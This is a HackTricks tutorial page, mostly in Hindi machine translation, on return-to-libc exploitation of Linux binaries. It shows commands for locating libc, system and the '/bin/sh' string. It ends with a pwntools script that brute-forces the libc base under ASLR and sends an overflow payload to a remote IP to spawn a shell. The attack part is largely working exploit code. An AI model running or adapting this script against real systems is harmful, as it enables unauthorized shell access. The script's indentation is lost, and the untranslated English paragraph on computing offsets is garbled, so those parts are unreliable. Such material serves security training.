hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

8.1 KiB

☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

यदि आपने एक संकटग्रस्त बाइनरी खोजा है और आपको लगता है कि आप इसे Ret2Lib का उपयोग करके उत्पन्न कर सकते हैं, तो यहां आपको कुछ मूलभूत चरण मिलेंगे जिनका आप अनुसरण कर सकते हैं।

यदि आप होस्ट के अंदर हैं

आप libc का पता लगा सकते हैं

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

यदि आप जांचना चाहते हैं कि ASLR libc के पते को बदल रहा है तो आप निम्नलिखित कर सकते हैं:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

सिस्टम फ़ंक्शन का ऑफ़सेट प्राप्त करें

To get the offset of the system function, we can use the following steps:

  1. Find the address of a known function in the target binary. This can be done by using tools like objdump or readelf to analyze the binary.

  2. Calculate the offset between the known function and the system function. This can be done by subtracting the address of the known function from the address of the system function.

  3. Use the calculated offset to determine the address of the system function in the target binary.

By obtaining the offset of the system function, we can then use it in various exploitation techniques, such as return-to-libc attacks, to execute arbitrary commands or gain unauthorized access.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

"/bin/sh" का ऑफसेट प्राप्त करें

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) बच्चों को बना रही है, तो इस फ़ाइल को पढ़ने का प्रयास करें (संभवतः आपको रूट होने की आवश्यकता होगी)।

यहां आप प्रक्रिया के अंदर बिल्कुल स्पष्ट ढंग से देख सकते हैं कि libc कहां लोड हो रही है और प्रक्रिया के हर बच्चे के लिए कहां लोड होने जा रही है।

इस मामले में यह 0xb75dc000 में लोड हो रही है (यह libc का बेस पता होगा)

gdb-peda का उपयोग करें

gdb-peda का उपयोग करके system फ़ंक्शन, exit फ़ंक्शन और "/bin/sh" स्ट्रिंग का पता लगाएं:

p system
p exit
find "/bin/sh"

ASLR को बाइपास करना

आप libc के अब्से पते को ब्रूटफोर्स करने का प्रयास कर सकते हैं।

for off in range(0xb7000000, 0xb8000000, 0x1000):

कोड

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥